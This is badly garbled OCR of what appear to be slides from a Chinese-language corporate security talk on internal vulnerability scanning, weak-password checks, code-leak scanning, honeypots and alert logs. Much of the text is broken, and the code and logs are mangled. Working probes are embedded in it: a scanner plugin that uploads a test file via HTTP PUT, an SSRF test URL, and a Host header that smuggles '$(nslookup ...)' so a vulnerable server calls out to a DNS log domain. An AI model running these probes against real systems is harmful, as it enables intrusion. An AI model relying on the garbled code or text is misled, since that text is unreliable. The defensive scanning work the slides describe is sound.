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* https://github.com/lijiejie/BBScan

+ URL + &8N

E4E8
git svn
BN
N

[ID] Hs
[554710 ] hitp://22% m g g == w8088 -[ = = = " gy b= WEia ™0 IH1]

http://223.49%. 777.156: 8088

[+] [2@@] http://223. B "I P I ="8/composer/send_email?to=orangetest@noggl

[+] [20@] http://223.'m = mmuy/ -------> Found [Graphite Browser]

PLESEHEEATHE SRR, WA TG, TR oam P e o oma
U -

HRETT 2018-08-15 06:39:54, RUE WAEPIT 2018-08-15 @6:39:54

url=http://wevwwwew

Owner

S ]

weivn . cctvasdfasfsaasfasfs.com -------> gra|

/composer/send_email?to=test@xxx&url=http://not.existed.domain
{status=200} {tag="gaierror: [Errno -2]"} {root_only}
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« IPMI Cipher 0
« |PMI hashiittzz

SSH, RDP, samba, Telnet

FTP, VNC . IPMI. Rsync

MySQL, MS SQL Server, Postgres

Redis, MongoDB

Tomcat, ActiveMQ, RabbitMQ

[ 570189 | hitp:/1125, » w _ g @ " B - [ fld¥lcache-vcdn_cache |

http://l B ™ mum "3
4

[iDRAC weak pass found] https://mwe, = 2§ root / B

22 = e
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_—J
RiH
)t
\::

;



N\ | —
=Py ey e
from port_cracker. plugin_scan. dummy 7mport

def do_scan(ip, port, service, task msg)

if service. lower ). find(C http’ ) < 0
return

try
url = http://%s:%s’ (ip, port) + ’ /security—scan. txt’
curl cmd "X “PUT” —-d ”202c¢b962ac59075b964b07152d234b70” %s’ url
code, head, res, errcode, — curl.curl(curl cmd)
i1 code 200

code, head, res, errcode, _ = curl.curl (url)
i code 200 and res. startswith( 202c¢b962ac59075b964b07152d234b70° )
ret = {
“algroup’ : 'PUT File’
“affects’ : “http://%s:%s’ (ip, port)
“details’ : *PUT File Vulnerability\n\n’ url

return ret
except Exception as
pass

QEFILH do_scan REL
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. Bt 4085 HTTPIRSS, SiFEeNIEH
« Chrome Headless B)SMERF#ITEMURLINE, SZIFENERS|

Fiti vy 20 v MK @ HANE TR R

O o1 As owner EREITN Ed R

O [561260 ] hitp:/183 5 maz=. 381 ks < xsense > tomcat_manager
O [561249 ] hitp/M17 %< 47280 *hengeanges targrooenfl kS < xsense > git_and_svn
O [569924 | hitp://c s =, - AL o8 R NS Hks = xsense = Directory listing
0 [568642]hitp://124 257 7 41:80 AT kS < xsense = Found Regex [<title= */5 5 "</title=]
O [561017 ] hitp:/10, o, = 28080 JE < xsense = tomcat_manager
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GitLab <2H GitHub < 15MIN

Github Secanner

& Github Scanner
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SR
{4k EFH fJustinHu 7 BRR!NTy-notes — 001 -nate-for-package.json
= RN EENN /fspecifylfithelplaceluherellyourficodefilives J(T]
your]
34 "repository”: {
35 “type”: "git",
36 "url": "http://wangyunfei@g'tiaz. siyd . damwir
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DNSIE{&EIX

« DNSEE XL EARD

. SHEERILEIDFN
- BEENTEHE
- SHEFBEIRSS, WDB. B6

[ [550328] e * ™= P == [ tigasz]

see dig @1 ] s I igiyi.com axfr for detail

FfiiZ ma ma.

AT 2018-09-24 07:36:39, wif —RWEMT 20158-10-160 05:05:42
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Headerdp<iEA

« f£Request HeaderjE Ashelldp<, HBNAMNIT, W0 BEDTERIT

& DNS

Conssizo | a2 |

T
Trace Log:

02-Jan-2016 21:40:02.901 queries: client :® & % § ™ *.#14014 (/home/work/sandbox_new/webroot query: /home/work/sandbox_new/webroot
02-Jan-2016 21:40:03.806 queries: client :® i ® ™ &k }#3191 (/home/work/sandbox_new/webroot query: /home/work/sandbox_new/webroot
02-Jan-2016 21:40:04.498 queries: client :® i* ® 1 ™ I #£34388 (/home/work/sandbox_new/webroot query: /home/work/sandbox_new/webroot

%s. your.

0S NS 1p, port
conn — httplib. HTTPConnection (host 20)
headers = { Host’ : ”$(nslookup hostname. hostname .
dns. log. domain)” % (ip, port)
"User—Agent’ : 'Mozilla/5.0 -+

%s—

}
conn. request C GET’, ’/’ headers) —
conn. getresponse (). read () IMYIZESZ

conn. close ()
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sshy//git@ qrHae e e a0 00 awnor las ) ke _front_web.git

DLIPES: o

= A KEEA

sshif/gitCE b agini herr il 252

sshi//git@ orHat = e e pa 000 s 2 besrr e e b _hidls.git

sshif/git@ailha agivi berr il 252

Vol anf e flink- job.git

Vi ard e -flink.git

sshy//git@ sl s e rema 100 eemmiyidfp_peaugit
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java

java

java

java

HEAE

A

BCHEA
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SiEnny

mvh clean package

mvn clean package

mvn clean package
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ol II-:lqu.-'Ei'[l:llgﬂy;.m_|
n o omwn . s 297 (6.18%) — ar, - w56 (1.16%
mal T L5700 000 L RARR TRk - o (65%)
prEs |_l.: 174 (3.62%) —
: 14 (0.29%)
|- f_!:r.!_ 310 (645%)
: 101 (2.1%) i I E ™ --.1-,549[135?&1
. g § 1 14 (0.29%)
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F] - i
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o SHIT. RiEshell
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« FFmpeg
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- PERE
« EFMHN
« SSH
+ ElasticSearch

- SRIHEEE

- NIDSZ{#E
© BRREEE

- BEEEAA
- HIDSEi#EROEA
© NDAMEBIFERIEM A
© BABRRBHEIPHERZ

{"honey_agent”: "aeb6d0e8-dfle—11e7-a458-0242ac110002",
"action_time”: “2018-09-03 17:09:00", “src_port”: 5972
1, “created_at”: “2018-09-03T09:08:01. 351933Z", “src_ip
“g ”|_|_|_ (T .C’, “honey_type”: "SSH brute force attac
k", “dst_port”: 22, “dst_ip”: “Nuee 8. .. “is_white”:
0, "Ea}rload”: {"session”: "c793£553", "peerIP”: "p2 1
gl RE ", “commands”: ["1s “, “touch 123. text”, “1s ”,

“exit "], "loggedin”: ["root”, ""], “startTime”: "2018-
09-03T09:08:01. 351933Z", “ttylog”: null, “hostPort”: 2
2, “peerPort”: 59721, “version”: “3SH-2.0-OpenSSH_ 6.6.1
“, "urls”: [1, "hostIP”: "la 1a ", "credentials”:
[["root”, “1®%E™]1, ["root”, "1%2¥"]1], “endTime”: "2
018-09-03T09:09:00. 492671Z", “unknownCommands”: []}}

FRE: MRS - PSEUEeE A

o 03] Py ol ] e ER R A

«  [2018-03-29
[2018-05-29 09:42][NBT SMB — Reset] 1* 1 =2 =:l) —> =
o [2018-05-29 09:42] [NBT SMB — Reset] loulom .=l —2 o

09:42] [TCP Closed Port] I12.0. s% 2400 —> “iL"
1
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F%EDNS

P (=1
° 'ttfgj—r% =+ [PO] [ RN B ixshellfST]
+ Xshelllgl] EHID: dddfad3£03e3f8ccefaT0elBel0615ha
SEATHT:
TrEIP:None BRIIP:tiL 2 v, v HIID: 200000 EHEA : B Mxshe 1G]] E44ES:3
EMT
< 2017/8/29 21:37:02 1338 PACKET 0000007D32C9BESQ UDP Snd Ti. L. &% %13 6221 R Q [8281 DR SERVFAIL] TXT
R H]ﬁﬂ:zigj% (62) sajajlvoogrmkbmo jg jmwpe feme 1 ik oyl s in e fonkot jmonpy jsevijz (35) jalfkoshpeuixipe S = frpre s f=ibwkj (15) nylalobghyhirgh (3) com (0)
o« B3 \1g . P .
SREREVES i 58 FRIFEADEN), HEER che dus B HITER

© GITRERE
- BB - RBEP

Tk IP REATA BT LIEE B

. BRTAEFHS =) i& R BHER RS A
* [maSk] XSS [maSk] {"alert lewvel”: "P0”, “raw message”: "May 18 13:52:34 b
+ Dnslog [mask] eijing—office-Ja0 J % %l bj—dnslogm May 18 13:52:34 dn
oz llRES smasq[12614] : query[A] hao. ammzzme. anlin: from 1:. w

* Dnsl [mask v e w o v w
[ ] d FI°, "dns”: Tame mmrmwrmwroamlimp, risk_fire rules

* Xxsse [mask] “: "domain—name—hit-blacklist”}
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- REHNAAN
- INEER
I ARAPR
RIFAUR
A

- BER
- OA
- SSO
- ERP
« wiki

« gitlab

Bt

B

IFRAIA wiki T AR ERT

{"alert_level”: “P0”, “raw_message”: “ L= Jp= Jld — -
[17/5ep/2018:19:43:55 +0800] \"GET /=/9cTe3df01ef8a05e4
bf91723f22ab4fa—CDN,/zh_CN/7202/57e26a1771el14e3fb96fdTce
be99a87f17d4379¢/ 3a75da45132addBef43c 1906720778/ _/dow

nload/contextbatch/ js/atl. general, — super/batch. js?host

enabled=truefis—=erver—instance=truekloca —CN HITP/
162501 \h1 p srmibks qun mm i
uervStrines ] % %S =% SR%eT: WMozl
11a/5.0 (Windews NT 6.1; WOW64) AppleWebKit./&37.36 (KHT
ML, like Gecko) Chrome/66.0.3359. 170 Safari/537.36%" \~

=\"", “http_referer”: “lirmp:- kL alus Jammesi-docrci’

£l

. . . . . . o~ . . o~
i L ekl eyl ring=gi L T, “risk_fire_rules”:

. . . . . L'
wiki—searches—contain—sensitive—keywords"}
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+ MySQL Audit

FUHRA
. AT 1
* SQLEA Rl P REREA
eV =i
« PEBEIRAE
« =10%
il

RIEFEN DL BRI CEURERF, MRTAFRE
it FEFEESNE

124073 Myl oy
IFRRARIER T aE, S ERREL L EIRE

{"risk_level”: “3", "alert_level”: "P0”, "db”: "aegis_a
ds”, “table_name”: "QRTZ_SCHEDULER_STATE”, "user”: "aeg
is_ads”, “query”: "UPDATE QRTZ_SCHEDULER_STATE SET LAST
_CHECKIN_TIME = 1536552647136 WHERE SCHED_NAME = ’ sched
ulerfwrgeenips AND INSTANCE NAME = ° Whorla® Eomildle
SITEY MY
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- BEER
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» authorized keys
+ jar8
« rpmB

« AN 5504 dirtycow FFmpeg ...

- B&EM

- BFZLEbash

 OJU#HY Rkhunter

« R shelll a3<#fT. webshell Fl

« SSHIEE. webiTHEHIN

2] 0 s

- SEENATHRES
- BESRIER
- Cgroups FRHIFRS
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DDOSAKE
Hack Tool

73
[==]

TARN)

Detection
Ad-Aware
AhnLab-Vv3
Antiy-AVL
Avast
Avira
ClamAV

Drweb

33 engines detected this file

SHA-256 bab7183287689ec28c7ce247515258cf4dB8c6fec1d07619d83d16a782b191bd8
File name 208
File size 227 MB

Lastanalysis  2018-09-08 15:10:43 UTC

Details Relations x Behavior Community o
A Application.BitCoinMiner.UP AegisLab A Troj.Linux.Agent!c
A Linux/Miner.2384177 AlYac A Misc.Riskware.BitCoinMiner.Linux
A Trojan/Linux.Agent.dr Arcabit A Application.BitCoinMiner.UpP
A\ ELFBitCoinMiner-AY [PUP] AVG A ELrBitCoinMiner-AY [PUP]
A LINUX/CoinMiner.irva BitDefender A Application.BitCoinMinerUp
A\ UnixToolMiner-6443173-0 Cyren A ELr/Application.MH)
A Linux.BtcMine.30 Emsisoft A Application.BitCoinMiner.UP (B)
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« ZHFSSH. SFTP, RDP, VNC
- FFRAERINIE

- REBVMNECE

- SERNEZE. SEOFRET

- ZRFRE®IT

« STRFLARAL

- ZIFEEER. tabthE

0O mErsSsy x

@ [ i | @Rrn W preview

Places > Home > BBScan

+ Split \Q', Control

BBScan - Dolphin

@ Network = ﬁ
. Root lib report
" Trash
Recently Acces:
=3 Today

79 Yesterday
1 This Month
7 Last Month
Search For
Documents.
i images

£ Audio Files
{2 Videos
Devices

] 27.9GiBHa
[&] 721 GiBHa
[u] ephemeralc

BBScan.py

report

Type: folder
Size: 6items
Tags: Add Tags...
Rating: /L uiis
Comment: Add Comment...

<[C_I7"< > 4Folders, 1File (14.2KiB)

@ee & root-Dolphin

£4 BBScan - Dolphin

-

}

[ ]4]wE

=]

(

dlt

A\



ZEM,

o MBS
- tRtEfkcheck list
« Web
- B3
- IVERBENNNINE
- #IPBAENN T RS

)

=]

(

dlt

A\



=
=
R
aj
N

\ |




